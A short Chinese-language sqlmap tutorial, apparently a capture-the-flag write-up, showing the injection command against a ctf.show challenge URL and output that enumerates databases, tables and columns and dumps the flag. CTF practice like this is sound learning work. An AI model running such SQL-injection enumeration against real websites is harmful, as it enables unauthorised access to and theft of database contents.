sqlmap使用

sqlmap使用


  • 常用参数
1
2
3
4
5
常用参数
--dbs 所有数据库
--tables 所有表
--columns 所有列


第一步:开始脚本注入


  • 使用sqlmap -u url来进行注入

例:

sqlmap -u “http://d96b8b94-0e30-4e6a-810b-caf654fe2b02.challenge.ctf.show/?id=


第二步:查表

执行上述命令后得到注入成功的回显然后可以进行查库操作


如上述命令执行后得到

1
2
3
4
5
6
7
8
9
10

available databases [7]:
[*] ctfshow
[*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test


1
2
3
4
5
6
Database: ctfshow
[1 table]
+------+
| flag |
+------+

1
2
3
4
5
6
7
8
9
10
11
12

Database: ctfshow
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(255) |
| id | int(11) |
+--------+--------------+


1
2
3
4
5
6
7
8
Database: ctfshow
Table: flag
[1 entry]
+----+-----------------------------------------------+
| id | flag |
+----+-----------------------------------------------+
| 1 | ctfshow{cd6650cb-4523-49ee-8251-bcbf145e920c} |
+----+-----------------------------------------------+